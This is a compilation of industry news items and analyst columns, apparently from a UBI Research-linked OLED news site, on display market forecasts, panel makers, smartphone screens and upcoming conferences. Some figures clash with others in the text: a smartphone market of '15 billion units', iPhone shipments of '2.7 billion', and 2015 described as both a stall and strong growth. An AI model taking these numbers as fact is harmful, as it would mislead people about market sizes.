However, lamp efficiency and life cycle have no option to decrease because luminescent materials have lower purity than that of evaporation materials as luminescent materials applied to solution process should be mixed with various solvents in order to make the existing evaporation materials ink. Nevertheless, why major panel producers has actively engaged in developing solution process is that production cost can be declined as the usage efficiency of luminescent materials is high without using color filters and its structure is simpler than that of OLED panel using WRGB method.

According to the report, it is said that although developing luminescent materials for solution process OLED has been fully engaged, it should be more efficient than that of WRGB methods so as to enter the premium market. However, it seems substantially difficult that the capacity of solution process OLED surpasses that of WRGB as WRGB has been developed in top emission structure to improve its efficiency by over 20% and evaporation materials have also constantly been developed. Rather, based on proper level of life cycle and efficiency, it would be competitive to replace LCD targeting the mid-end TV market, according to the report.

Issues on OLED, QLED, hybrid QD, which can be applied to solution process and possibilities to enter the market, comparative analysis on the capacity of present solution process OLED, supply chain of QD industries, and major soluble OLED material producers are included in this “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities” and it is expected to help the relevant producers understand the solution process industry.

Meanwhile, it is predicted that the market of large-scaled solution process OLED panel over 55 inch will begin in earnest being mass-produced as of 2019 and have accounted for the entire wide OLED panel market by approximately 15% growing by approximately US$ 1,000 million by 2021.

Who Will Get The First Full-Screen Display Smartphone Title, Samsung Or Apple?

Full-screen display smartphone is expected to be launched soon. According to the recent report ‘Key Issue and The Market Analysis for Foldable OLED – Flexible OLED Annual Report’ by UBI RESEARCH, a market survey company, left-right bezel-less flexible OLED dominate the smartphone market, and later full-screen display with minimized or without both left-right and up-down bezel will appear in 2017, thereby leading the future market.

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<Smartphone Display Development Trend Outlook>(Source: UBI RESEARCH)

The more specific circumstances were caught. Apple Insider announced that Apple recently applied for a design patent(US20150303244A1) of electronic devices with display-integrated light sensors, quoting the USPTO’s announcement on October 11(Local Time).

161110_2

<Design Drawing 1 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

Apple used the examples of the placement of Ambient Light Sensor or Proximity Sensor around the side of display, and of the protection of display and sensor circuit by glass or plastic transparent encapsulation layer. Apple Insider expects that this design will be able to reduce unnecessary space and make full-screen display possible.

161110_3

<Design Drawing 2 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

At the 2016 IMID Business Forum at COEX in Samseong-dong on October 26, Samsung Display chief expert, Park Won-sang announced display trend about screen size, which boosted confidence. Chief expert, Park Won-sang said that “Display size compared to set size is very important due to the characteristic of mobile phones with a size limit. The display area(hereinafter “D.A”) of edge display was 80%, full-screen mobile phone D.A was larger than 90%, and this is one of the major trends that will lead the market”. The techniques including an all-in-one glass fingerprint recognition module and an ultrasonic fingerprint recognition module have not been mentioned yet, but an entirely innovative full-screen smartphone will be introduced by removing left-right bezel as well going beyond the left-right bezel-less type of Note 7.

161028

<Samsung Display’s Presentation, 2016 IMID Business Forum>

LG also applied a patent of full-screen display. According to Patently Mobile’s report on June 2015, not physical but virtual button and App icon were applied. But, design itself cannot exactly show materials and interior parts except appearance, and it is now uncertain whether it will be developed or not as there is no further news after the patent application.

 

 

161110_4

<LG Electronics Granted Home-Buttonless Smartphone using Flexible Display>>(Source : Patently Apple)

Likewise, many smartphone companies are actively reviewing the introduction of full-screen display because it might allow customers to experience the biggest change in addition to the product’s immersive nature. Besides, there are recently some opinions that with the expanding VR market, OLED display without a latency issue and wider display area are necessary to be applied to HMD(Head Mounted Display) attached with a mobile phone.
Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

bezel-less2

<Definition by Flexible OLED Type and Market Share Outlook >(Source: UBI RESEARCH)

Global Lighting OLED Market, USD 1,600 Million in 2020… Half by LG Display

Global OLED lighting panel revenue market share(출처 = UBI Research 2016 OLED Lighting Annual Report_

Global lighting OLED panel revenue market share (Source = UBI Research 2016 OLED Lighting Annual Report)

Hyunjoo Kang / jjoo@olednet.com

Global lighting OLED panel market is rapidly growing each year. In 2020, it is expected to record USD 1,600 million, and LG Display is estimated to occupy 53%.
According to 2016 OLED Lighting Annual Report, published by UBI Research on 8 August, the global OLED lighting panel market is expected to record USD 114 million in 2016 and show CAGR of 66% in 2017-2025.
Advantages of OLED lighting includes high energy efficiency and diverse application areas. The fact that the restrictions on the use of incandescent light is being tightened is also one of the reasons that OLED lighting is receiving much attention. As such, the global OLED lighting panel market will continue to grow and record USD 1,600 million in 2020.
LG Display is the only company that carried out investment while possessing OLED lighting panel mass production technology. In early 2016, OLED lighting business was moved from LG Chem. to LG Display.
In March, LG Display decided on 15K monthly capa. of Gen5 OLED lighting panel mass production line investment, and is actively expanding this business. The company is expected to record 53% of 2020 global OLED lighting panel sales with USD 848 million.
In terms of application areas, general indoor downlight and automotive lighting are estimated to show rapid growth and occupy the largest proportion of the OLED lighting market. Furthermore, OLED lighting market is expanding in other areas such as outdoor, medical, and exhibition use.
UBI Research estimates that in 2025, the automotive OLED lighting panel market will grow to record USD 2,786 million, and indoor lighting panel market to USD 3,409 million.

AMOLED Manufacturing Equipment Market for Apple, USD 13,000mn for 5 Years…Half of Total 6G Flexible Equipment

Source = UBI Research

Source = UBI Research [2016 OLED Manufacturing Equipment Annual Report]

Hyunjoo Kang / jjoo@olednet.com

AMOLED manufacturing equipment market for Apple’s use for 5 years, 2016-2020, is expected to reach USD 13,000 million.

According to 2016 OLED Manufacturing Equipment Annual Report, published on 7 July by UBI Research, the global Gen6 flexible AMOLED manufacturing equipment market is expected to record USD 28,411 million in 2016-2020. 47% of this is for Apple’s use with USD 13,000 million. The figure is if Apple applies flexible panel to some new models of iPhone to be released in 2017, and all new models to be released in 2018.

Apple occupies approximately 15% of the total smartphone sales with over 200 million units per year. As such, it is expected to have great impact on future exible panel market expansion.

In 2021, global flexible AMOLED panel shipment is estimated to exceed 1,000 million units. UBI Research forecasts Apple iPhone’s flexible panel will occupy 20% of the total flexible AMOLED shipment in 2017, and exceed 50% in 2021. UBI Research explains that in order to meet Apple’s flexible AMOLED panel demand, the required panel production capa. is analyzed to be 30K per month in 2017, and total 300K per month in 2021.

Furthermore, panel companies’ mass production line is expanding accordingly, and Samsung Display in particular is expected to invest 30K per year directed to Apple.

UBI Research’s latest report forecasts that the total OLED manufacturing equipment market to record approximately USD 43,927 million in 2016-2020.

From Galaxy S to S7, Resolution Increased by x10… Galaxy S8 Likely to be 4K UHD

Galaxy S ~ Galaxy S7 (Source = UBI Research ‘Analysis Report of Galaxy S Series’)

Hyunjoo Kang / jjoo@olednet.com

Since the first Galaxy S by Samsung Electronics in March 2010, 9 types of Galaxy S Series were launched. For the past 6 years, screen size increased by 1.5 inch and resolution improved by approximately 10 times.

According to the AMOLED Characteristics Analysis Report of Galaxy S Series recently published by UBI Research, the AMOLED panel of this series from Galaxy S to Galaxy S7 Edge increased in size from 4 inch to 5.5 inch. The resolution increased by 9.6 times from 480 x 800 WVGA to 1440 x 2560 QHD. The Galaxy S Series AMOLED progress suggests the Galaxy S8, expected to be released in 2017, will have screen size of mid-to-high 5 inch mark with the resolution of 4K UHD (800 ppi).

Since the 4 inch early model of Galaxy S in March 2010, the screen enlarged each year to 5.1 inch and 5.5 inch for S7 and S7 Edge respectively, over approximately 30% increased screen size compared to the early S model. Samsung Electronics had released 6 inch mark smartphone. However, in 2015, the 6 inch mark products disappeared and 5 inch mark screen size occupies 71% of the total smartphone products by Samsung Electronics.

Galaxy S Series Resolution Increase Progress (Source = UBI Research ‘Analysis Report of Galaxy S Series’)

During this period, Samsung Electronics released products with diverse resolutions from Galaxy S’ WVGA to S6 and S7’s QHD through S3’s HD and S4 and S5’s FHD. With the exception of S3’s HD, Galaxy S Series resolution is moving forward every 2 years at present. If this speed of development continues, the Galaxy S8, expected to be released in 2017, could be equipped with screen size of mid-to-high 5 inch mark and resolution of 4K UHD.

UBI Research explained that Samsung Display’s 5.5 inch UHD 4K 806 ppi AMOLED for VR device that was shown in the recent SID 2016 has the same brightness as S7. He added that considering production yield, the display is expected to be used for Galaxy S8 to be released next year.

2016 Global OLED Emitting Materials Market to Record $677Mn…94% by Samsung and LG

OLED Emitting Materials Market Forecast, Source: UBI Research’s 2016 OLED Emitting Materials Annual Report

 

Hyunjoo Kang / Reporter / jjoo@olednet.com

This year’s global OLED emitting materials market is expected to record US$ 677 million, approximately a 16% increase compared to 2015.

According to 2016 OLED Emitting Materials Annual Report, published by UBI Research, the global OLED emitting materials market is to grow at CAGR of 46%, and record US$ 4,323 million in 2021. The reasons for continued rapid growth include AMOLED equipped smartphone and large area OLED panel mass production increase. AMOLED panel equipped Galaxy S7 series is expected to be a hit this year, and AMOLED application of mainstream Galaxy series is also expected to increase compared to last year.

Furthermore, LG Display is planning to greatly increase this year’s large area OLED panel production. Chinese panel companies are also to actively begin AMOLED panel mass production from this year. Accordingly, the amount of OLED materials entering the global display market will increase.

The global demand for OLED emitting materials in 2016 is estimated to be approximately 38 tonnes. Of this, the amount expected to be used in Korea is approximately 36 tonnes, about 93% of the total demand. Basically, just the amount used by the 2 Korean OLED panel companies, Samsung Display and LG Display, is 93% of the global market. 64% of the total demand is Samsung Display, and 29% is LG Display.

In terms of revenue, of this year’s US$ 677 million, Samsung Display and LG Display are expected to occupy 94%.

As key Chinese panel companies, including BOE, are carrying out or planning AMOLED mass production line, China’s emitting materials demand is estimated to increase from 2017. Accordingly, of global OLED demand, China’s proportion is expected to increase each year, and Korea’s to decrease.

2016, Korea Seizes AMOLED Market…95% of Global Market

2016-2020 Global AMOLED Panel Market Shipment [1 Million] (source : UBI Research)

This year, Korea is expected to secure overwhelming leadership position within the global AMOLED panel market with 95% market share.

According to 2016 OLED Display Annual Report, recently published by UBI Research, approximately 270 million units of AMOLED panel are to be produced from Korea in 2016, approximately 95% of the global shipment.

For AMOLED panel market revenue, Korea is estimated to occupy 96% of the total market in 2016 with US$ 14,218 million. Korea is expected to maintain approximately over 70% of the market share until 2020, and lead the global market for several more years.

This is analyzed to be due to active response by Korean display companies against AMOLED application expansion by influential global smartphone companies.

Samsung Electronics is forecast to sell over 47 million units of AMOLED panel equipped Galaxy series in 2016. The projection that Apple will also apply AMOLED panel to future iPhone series for product differentiation is gaining traction.

Several companies, including LG Display and Samsung Display, are carrying out active investment for AMOLED panel mass production line from H1 2016.

Other than Korea, China is showing rapid movement within the global AMOLED market. China is estimated to produce approximately 11 million units of AMOLED panel in 2016, and occupy approximately 4% of the global shipment, marking the second place after Korea’s 95%. China is estimated to increase the market share each year and reduce the gap with Korea; in 2020, China is expected to hold 24% of global AMOLED panel shipment in 2020.

China’s AMOLED panel market revenue is also forecast to show significant growth with approximately US$ 500 million in 2016 to US$ 13,700 million in 2020, a 20% of the total market.

2016 OLED Display Annual Report forecasts that the global AMOLED market is to record approximately US$ 15,000 million in 2016, and grow to approximately US$ 70,000 million in 2020.

 

2016 AMOLED Market, Estimated to Record US$ 15,000 Million, an Increase of Approx. 40% from 2015

According to 2016 OLED Display Annual Report, published by UBI Research, 2016 AMOLED panel market is estimated to show US$ 15,000 million, which is a growth of approximately 40% from 2015. The report also expects the shipment to record 16% increase compared to 2015 with 270 million units, and 2016 to be the year for the AMOLED industry could take off again.

 

UBI Research revealed that “Samsung Electronics is actively selecting AMOLED panel for mainstream models of Galaxy and the demand for AMOLED panel by Chinse set companies is also increasing. Additionally, Apple’s application of flexible AMOLED panel for iPhone is becoming more concrete, and OLED TV sales is gradually increasing. As such LCD will be slowly replaced”. Particularly, regarding AMOLED for mobile device market, UBI Research explained that “the flexible AMOLED panel equipped set market analysis shows approximately 500K (Gen 6) per month will be required until 2020, and it is anticipated that active flexible AMOLED investment will be continually carried out”.

 

The AMOLED market growth staggered momentarily in 2015, but due to the increase of demand for mainstream AMOLED panel and flexible AMOLED panel, it grew with a large margin in 2015. Accordingly, investment for flexible AMOLED panel application for Apple’s iPhone, which is leading the total smartphone market with Samsung Electronics, is in consideration. The panel companies in China, Japan, and Taiwan are also anticipated to invest in flexible AMOLED panel, and bring energy into stagnated OLED related display industry.

 

According to the 2016 OLED Display Annual Report, the AMOLED panel market exceeded US$ 10,000 million with approximately 230 million units in 2015, an increase of approximately 25% from the previous year. It is expected to record US$ 67,000 million until 2020 with CAGR of approximately 46%.

AMOLED Panel Market Forecast (2016-2020)

D-21 to the 2nd OLED KOREA Conference

The 2nd OLED KOREA Conference, which is receiving much attention as the world’s largest OLED international business conference, is only 21 days away. At this conference, the OLED industry leading panel companies, Samsung Display and LG Display are scheduled to give keynote sessions. Through this, future OLED industry direction forecast is anticipated. UBI Research is to discuss the rapidly changing the OLED industry’s current status and future, and China’s Visionox is expected to examine the flexible AMOLED’s potential and future market.

 

Furthermore, sessions with diverse topics are prepared. These include next generation backplane technology, AMOLED mass production technology, issues facing OLED industry, QLED which is receiving interest as the display after OLED, various applications for OELD, etc. Therefore, this event is expected to be useful for materials and manufacturing companies, as well as display panel companies, university, research lab, and display industry related professionals, providing assistance in responding to the next generation display industry and a place of sharing information and thoughts.

 

Particularly, away from formal discussions, the OLED Reception will prove to be a valuable time through conversations on future of OLED in a comfortable setting.

 

The 2nd OLED KOREA Conference will be held for 2 days on February 24-25 at The-K Hotel Seoul in South Korea. 9 sessions in total will be held with 30 speakers, including Samsung Display and LG Display, and approximately over 200 display related industry/academy players will be in attendance.

 

Advance registration is open until February 23 with approximately 10% discount. As the places are limited, early registration is recommended. Conference registration can be accessed through the 2nd OLED KOREA Conference homepage (www.oledkoreaconference.com). Enquiries can be made to Hana Oh (hanaoh@ubiresearch.co.kr).

 

OLED Encapsulation Transparent Gas Barrier Film Market, How High Can It Grow?

At present for flexible AMOLED encapsulation, thin film encapsulation, where organic and inorganic thin films are laminated, and hybrid encapsulation, where minimum passivation and gas barrier film are laminated, are used in mass production. As large area AMOLED panel is being mass produced through bottom emission structure where the light is emitted toward substrate, metal foil utilizing hybrid encapsulation is used.

 

However, TFE method which is used in flexible AMOLED panel for mobile device employs expensive manufacturing equipment and increases the investment cost. It also increases the number of processes involved and reduces mass production efficiency. For these reasons, this method is not suitable for cost reduction. As large area requires high resolution and high brightness, top emission structured AMOLED panel is being developed. When top emission structure is used, transparent encapsulation is essential.

 

Following this trend, the necessity for next encapsulation is rising, and in particular, transparent gas barrier film encapsulation is receiving increasing amount of attention. The transparent gas barrier film that is used for the hybrid structure currently being applied in mass production has WVTR of 10-4g/m2day, which is less than encapsulation requirement of 10-6g/m2day. However, in R&D stage, the WVTR level reached to 10-6g/m2day, and encapsulation could be possible only with transparent gas barrier film. Research development regarding this is being actively carried out.

 

According to 2016 OLED Encapsulation Report, published by UBI Research, transparent gas barrier film encapsulation can reduce investment cost compared to TFE. As it can also be applied to large area top emission structure, high market growth can be anticipated with this encapsulation.

 

UBI Research analyzed that if transparent gas barrier film encapsulation is applied to the new large area line and mobile added from 2017, the transparent gas barrier film market could grow to record up to approximately US$ 700 million in 2020.

 

dlszoq

[Analyst Column] CES 2016 Press Conference Comparison Analysis, Samsung Elec. TV vs. LG Elec. TV

Choong Hoon Yi, Chief Analyst, UBI Research

 

When Samsung Electronics, CES’ most important company, holds a press conference, members of the media wait longer than an hour anticipating the new world the firm will show. For LG Electronics’ press conference, the waiting period is relatively shorter.

 

However, the press conferences at CES 2016 were not as anticipated. In CES and IFA, the representative of electronic appliances companies is TV. However, the TV in Samsung Electronics’ event was merely the same SUHD TV as shown before. Instead, ICT area, such as VR, USB adaptor, and Samsung Pay, was emphasized. During the last year’s CES, Samsung Electronics received much acclaim with curved design added SUHD TV. The only difference for this year’s TV from CES 2015’s was the text ‘Quantum Dot Display’ underneath the SUHD.

 

 

Samsung Electronics is considered the rule maker of the market with new designs and aggressive marketing. The fact that Samsung Electronics only added the words quantum dot to the already applied SUHD TV LCD panel is analyzed to be a desperate measure demonstrating the LCD TV’s development limitation.

 

On the other hand, during their press conference, LG Electronics provided a vision where the TV market can have another growth spurt through the introduction of the improved OLED TV with 800 nit peak brightness. Particularly, NASA’s video of vivid deep black of the space and dynamic fiery red of the sun on the OLED TV brought the audiences to cheer and applause. What could only have been seen by astronauts can now be seen by everyone through OLED TV. This was an event where everyone could feel what a true display really is.

 

 

Of course, as the largest market of the consumer market is smartphone, it would be illogical to discuss Samsung Electronics and LG Electronics with only TV. However, Samsung Electronics’ smartphone business also remained stationery last year and all businesses, excluding semiconductor, is falling downward. As such, for Samsung fans who have high expectations it is of much concern.

 

The reason that the companies that led electronic appliance industry for the past half century such as Sony, Panasonic, and Toshiba are falling is because they did not have paradigm changing technology and product when the market was stalling. The same unfortunate sign is coming from Samsung Electronics.

 

Chinese set companies including TCL also brought quantum dot technology applied LCD TV to CES 2016. 8K TV was also exhibited. Although the picture quality control technology of the Chinese TV companies still falls short compared to companies such as Samsung Electronics, LC Electronics, and Sony, the set exterior reached similar standards and the price is less than 70% of the early starters’. The difference in the picture quality is difficult to distinguish for those who are not TV or display experts. The quality of Chinese products does not reflect the cheaper price, and cheap and good products are pouring in from China.

 

For Samsung Electronics that cannot produce OLED TV, in order to repeat the last year’s popularity in international events such as IFA in later this year, a big issue and product that can represent the company are urgently needed.

 

Can Transparent OLED Be OLED Industry’s New Growth Engine?

According to Transparent OLED Display Report 2016, published by UBI Research, large area transparent AMOLED market is expected to record approximately US$ 5,300 million by 2020.

 

UBI Research revealed that “transparent OLED, with its high transmittance, is likely to be applied to transparent advertisement display such as showcases that has to properly actualize what is behind the display. Also, as the viewing angle is wide and color gamut and visibility are high, it will be widely used as transportation display such as automotive”. Furthermore, UBI Research added that as it is easy to produce flexible product and can be utilized in diverse applications that will be newly designed, market potential is very high.

 

Transparent display is a display that can recognize/process/communicate information via optically transparent display using transparent electronic device. This is a device that is ordinarily transparent as glass and functions as monitor or TV as needed. As the area where the information is shown is transparent and objects behind the display can be seen, spatial/visual limitation can be overcome and diverse application and expansion of existing display market can be anticipated. Particularly, transparent OLED’s transmittance is approximately twice as high as transparent LCD (using the recently release panel), and simple to bend. As such, key panel companies are inclined to actively develop transparent OLED.

 

In 2015, Samsung Display revealed world’s first 55 inch FHD transparent OLED with 45% transmittance and plan to mass produce from 2016. LG Display is also developing transparent OLED through project titled “60 inch or larger UD level transparent flexible display with transmittance of 40% or higher” that began in 2012. China’s BOE presented 9.55 inch transparent flexible OLED panel with 30% transmittance in SID 2015 and is actively carrying out research.

 

From these companies’ transparent OLED development, transparent OLED is anticipated to play a big role in future display market expansion.

Large Area AMOLED Market Forecast

UBI Research to Host the 2nd OLED KOREA Conference

UBI Research (president: Choong Hoon Yi), an OLED specializing company, announced that they will host the 2nd OLED KOREA Conference (February 24-25, 2016) at The K Hotel in Seoul, South Korea. Following the hugely successful 1st OLED KOREA Conference in April this year, the 2nd OLED KOREA Conference is expected to be an opportunity to discuss even wider range of issues from diverse perspectives.

 

OLED is continually widening its application scope and usage through TV, automotive, lighting, smartphone industries among others. This event is organized to review each sector’s response strategy and current limitations, and find solutions through in-depth discussion.

 

President of UBI Research, Choong Hoon Yi stated that “UBI Research is holding an event in Korea, a leading country in display industry, to highlight global future industries, including display sector, that can be developed and evolved and discuss current issues”.

 

OLED KOREA Conference is one of the largest conferences in OLED industry where the attendees can discuss issues on key technology development, investment, and market in one place. Its focus is on the exchange of information and thoughts to respond to rapidly changing OLED industry through the OLED experts’ in-depth understanding of the market and technology.

 

Accordingly, for the key conference speakers, UBI Research is actively inviting world renowned experts in OLED related industry including Korean and Chinese panel, manufacturing equipment, materials, and lighting companies, and leaders in academia and industry. Following the 1st OLED KOREA Conference which had approximately 130 attendees, over 200 key players in the OLED industry are anticipated to attend the 2nd event.

 

UBI Research is also hosting a separate VIP dinner event during the conference period. The dinner is expected to be a great networking opportunity where OLED industry, academia, and research board members and experts can freely discuss OLED industry. Inquiries can be made through UBI Research website.

 

The conference registration is available through the 2nd OLED KOREA Conference homepage (www.oledkoreaconference.com).

 

[Analyst Column] LCD Industry Administration to Worsen after 3 Years

Choong Hoon Yi, Chief Analyst, UBI Research

 

 

BOE is intending to carry out a large amount of investment in order to operate Gen10.5 LCD line from 2018. Meanwhile, key set makers including Apple, Samsung Electronics, LG Electronics, and Panasonic are devising strategy to move from LCD to OLED for smartphone and premium TV displays. As such, it is becoming more likely for the LCD industry to be in slump from 2018.

 

At present, the area where LCD industry can create profit is LTPS-LCD for smartphone. The forecast smartphone market for this year is approximately 15 billion units. Of this, Samsung Electronics and Apple are occupying 20% and 15% of the market respectively. OLED equipped units are less than 2 billion.

 

However, from 2018 the conditions change greatly. Firstly, Apple, which has been using LCD panel only, is estimated to change approximately 40% of the display to OLED from 2017 earliest and 2018 latest. Apple is testing flexible OLED panels of JDI, LG Display, and Samsung Display, and recommending them to invest so flexible OLED can be applied to iPhone from 2017. The total capa. Is 60K at Gen6. As new investments for Gen6 line of Samsung Display and LG Display are expected to be carried out from 2016, supply is theoretically possible from 2017.

 

Source: UBI Research Database

Source: UBI Research Database

 

If 5inch flexible OLED is produced from Gen6 line, under the assumption of 50% yield at 60K capa. 65 million units can be produced annually, and approximately 1 billion units if the yield is 80%. If Apple’s iPhone shipment in 2017 is estimated to be around 2.7 billion units, within the 50-60% yield range approximately 25% of the display is changed to OLED from LCD, and if yield reaches 80% around 40% will change. The companies that are supplying Apple with LCD for smartphone, LG Display, JDI, and Sharp, are expected to show considerable fall in sales and business. These 3 companies could be reduced to deficit financial structure just from Apple’s display change

 

Furthermore, as Apple is not producing low-priced phones, under the assumption that future iPhone could all have OLED display, Apple could cause the mobile device LCD industry to stumble after 3 years.

 

Samsung Electronics also is gradually changing Galaxy series display to OLED from LCD. Of the forecast 2015 shipment of 3 billion units, 50%, 1.5 billion units, has OLED display, but Samsung Electronics is expected to increase flexible OLED and rigid OLED equipped products in future. Particularly, as Apple is pushing for flexible OLED application from 2017, Samsung Electronics, whose utilizing OLED as the main force, is estimated to increase flexible OLED usage more than Apple. It is estimated that all Galaxy series product displays will be changed to OLED from 2019.

 

 

Under these assumptions, of the estimated smartphone market in 2020 of approximately 20 billion units, Samsung Electronics and Apple’s forecast markets’ 7 billion could be considered to use OLED.

 

Samsung Display is strengthening supply chain of set companies using their OLED panels. Samsung Display is supplying OLED panels to diverse companies such as Motorola and Huawei as well as Samsung Electronics, and also expected to supply rapidly rising Xiaomi from 2016. If smartphone display is swiftly changed to OLED from LCD from 2017, Chinese display companies that are currently expanding TFT-LCD lines are to be adversely affected.

 

Additionally, in the premium TV market, LG Electronics mentioned that they will focus on OLED TV industry at this year’s IFA2015. As a part of this, LG Display is planning to expand the current Gen8 34K to 60K by the end of next year. Furthermore, in order to respond to the 65inch market, Gen9.5 line investment is in consideration. In the early 2015, Panasonic commented that they were to withdraw from TV business but changed strategy with new plans of placing OLED TV on the market in Japan and Europe from next year.

 

As Samsung can no longer be disconnected from the OLED TV business, there are reports of investment for Gen8 OLED for TV line in 2016. Although OLED TV market is estimated to be approximately 350 thousand units this year, in 2016, when Panasonic joins in, it is expected to expand to 1.2 million units. The OLED TV’s market share in ≥55inch TV market is estimated to be only 4% but in premium TV market it is estimated to be significant value of ≥10%.

 

 

 

 

If Samsung Display invests in Gen8 OLED for TV line in 2016, from H2 2017 supply to Samsung Electronics is possible. As OLED Gen8 line’s minimum investment has to be over 60K to break even, it can be estimated that Samsung Display will invest at least 60K continuously in future.

 

Under these conditions, LCD industry can only be in crisis. Firstly, it becomes difficult for Sharp to last. Sharp, which is supplying TFT-LCD for Apple’s iPhones and LCD for Samsung Electronics’ TV, will lose key customers. Secondly, BOE, AUO, and JDI, the companies selling LCD panels to these companies, are not ready to produce OLED and therefore damage is inevitable.

 

BOE is carrying out aggressive investment with plans to lead the display industry in future with operation of Gen10.5 LCD line. Therefore, from 2018, as the main cash cow items disappear, administration pressure could increase.

 

Solution Process Panel, Cheaper To Produce than LCD

According to 2015 Solution Process OLED Report, published by UBI Research on October 14, solution process technology could produce 55inch OLED panel at approximately 43% cheaper cost compared to WRGB method.

 

The report added that this value is the result of analysis of 2015 Q2 55inch UHD OLED panel price and yield, which is slightly higher than current production price of 55inch UHD LCD panel. However, considering that the solution process OLED structure will become simplified and that yield of backplane and encapsulation can be improved, the OLED panels will be able to be produced at lower cost than LCD panel. The report also revealed that solution process OLED can be an alternative solution for large area OLED panel in achieving price competitiveness.

 

Solution process is a technology that can produce large area RGB pixel OLED panel using Gen8, or higher, equipment without cutting the mother glass. Key AMOLED panel companies are active in developing this technology.

 

However, as solvent is used in order to turn the existing evaporation material into ink, its purity is decreased leading to lower emitting efficiency and therefore lower lifetime. Despite these factors, key panel companies’ enthusiasm for solution process technology is due to the high emitting material usage efficiency without using color filter, and simple structure compared to WRGB OLED panel which leads to production cost decrease.

 

Panasonic has been most active in developing solution process applied OLED panel, and has presented several times in CES and IFA. BOE and AUO also have revealed solution process OLED panel produced via ink-jet manufacturing equipment, and CSOT is considering solution process development. Samsung Display and LG Display, leaders of AMOLED industry, are also actively developing the technology. LG Display has adopted Gen8 ink-jet manufacturing equipment, and Samsung Display has started solution process OLED panel development with a focus on ink-jet manufacturing equipment companies.

 

Material and manufacturing equipment companies as well as panel companies are leading the solution process technology development and commercialization. Kateeva agreed on technology collaboration with Sumitomo Chem. while Merck did the same with Seiko Epson. DuPont recently revealed that they enlarged solution process OLED material production facilities and began operation.

 

Following these participation by key panel, material, and manufacturing equipment companies in solution process technology development and commercialization, it is anticipated that the solution process OLED panel market will record rapid growth.

 

UBI Research’s 2015 Solution Process OLED Report forecast that solution process OLED panel market will actively begin mass production from 2018 and show approximately US$ 2,329 million in 2020.

 

Solution process OLED panel수정2

UBI Research Organizes ‘2015 Display Printed Electronics Seminar’

The Opportunity to Understand Printed Electronics Technology

For That Competitive Edge in Global Display Industry

 

 

 

At present there is an intense competition within display industry between countries such as China with aggressive investment, and Japan that is looking for a comeback. For Korea to possess that competitive edge in display industry, a seminar is being prepared. This seminar will provide the opportunity to learn about printed electronics technology that is becoming a key technology and understand latest technology trend.

 

UBI Research (http://www.ubiresearch.co.kr, President: Dr. Choong Hoon Yi), an OLED specializing company, announced that the 2015 Display Printed Electronics Seminar will be held on October 7. This seminar will take place at The K Seoul Hotel in Seocho-gu in Seoul with a group of key experts who will discuss latest technology development trend in display based on printed electronics.

 

Printing process or solution process is a new production technology that is the center of much expectation around the world. Dr. Kyung-Tae Kang, the head of printed electronics center of Korea Institute of Industrial Technology, will examine the current printed electronics industry and propose its future. Dr. Kang is also a secretary for IEC TC119 which was established to respond to the printed electronics industrialization.

 

At this seminar, Professor Yongtaek Hong of Seoul National University will explain technological issues that need to be considered when producing ultra-thin transistor device using printed electronics technology. The printed electronics technology is receiving much attention as it can be applied to flexible elastic substrate, and low temperature process through large area is possible.

 

Dongguk University’s Professor Yong-Young Noh will give a presentation on printed electronics technology’s development trend and research content for flexible display development.

 

Also, Dankook University’s Professor Byung Doo Chin will discuss OLED RGB printing technology trend review for efficiency and stability improvement of small molecule and polymer OLED device by solution process, and high resolution OLED technology that can be actualized through inkjet printing. This OLED RGB printing technology based on printing process is a subject of active research as a replacement for the current vacuum thermal evaporation; pixel formation is difficult for large area through this evaporation technique.

 

Furthermore, essential topics on printed electronics are covered by industry’s top experts.

  • Technology Trend for Solution Process OLED Material (Dr. Jae-Min Lee, Korea Research Institute of Chemical Technology)
  • Technology Trend for Electrode Material and Process for Printing (Dr. chan-Jae Lee, Korea Electronics Technology Institute)
  • Blanket Application for Printed Electronics and Development Status (Dr. Noh-min Kwak, RPE Corporation)
  • Printed Electronics R2R Equipment Technology Status

 

UBI Research will bring together top quality industry experts as speakers toward Korea’s leadership in display industry and host a place of networking where industry-academic professionals can meet. UBI Research seminars, previously held twice a year, will become a monthly event.

 

Seminar attendance application can be made through the UBI Research homepage (www.ubiresearch.co.kr).

Korea’s Large Area AMOLED Manufacturing Equipment Market To Record Approx. US$ 8,640 Million For Next 5 Years

According to UBI Research’s OLED Manufacturing Equipment Annual Report (published on August 31), the complementary investment market in Korea is expected to record approx. US$ 8,640 million between 2016 and 2020.

 

According to the report, once Chinese new LCD lines actively begins to operate, panels produced by Korea’s Gen8 a-Si LCD lines are estimated to fall behind in price competitiveness. Therefore, complementary investment should be processed to transform the a-Si LCD line to OLED line. The report estimated that if complementary investment for OLED is carried out, oxide TFT with less masks is the most suitable backplane structure. This has the advantage of utilizing the most of the existing a-Si LCD line. The report also forecast that future large area AMOLED mass production investment will mainly be complementary investment rather than new investment. Complementary investment signifies investing in evaporation and encapsulation manufacturing equipment while using the existing a-Si line backplane. New investment means investing from the backplane stage. The report analyzed that complementary investment will lead to the decrease of large area OLED panel’s production cost.

 

Investment cost comparison shows that approx. US$ 600 million is required for new investment in Gen8 Oxide TFT key equipment (20K). However, complementary investment requires approx. US$ 80 million and can save the investment cost by approx. 7 times compared to the new investment.

 

그래프1(영)_v0

 

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[Analyst Column] Korean Display Industry Is On Descent

Dr Choong Hoon Yi, UBI Research Chief Analyst, ubiyi@ubiresearch.co.kr

 

The analysis of 2015 2Q results of Samsung Display and LG Display shows clear indication that Korean display industry is on descent.

 

[2015 Q2 Korean Display Total Sales Analysis]

According to the results announcement of the 2 companies, the total of 2015 Q2 sales is approximately US$ 11,000,000,000. Compared to the total sales in 2013 Q2 which was US$ 13,000,000,000, Korean display industry trend is exhibiting clear downward tendency.

0812 graph1

 

2015 Q2 Korean display sales records -4% QoQ, and 8% YoY.

0812 graph2

 

 

The main reason for the decrease in sales is Samsung Display’s deterioration of earnings results. While LG Display’s sales of the past 3 years remain fairly consistent but Samsung Display’s sales is gradually decreasing.

0812 graph3

 

 

 

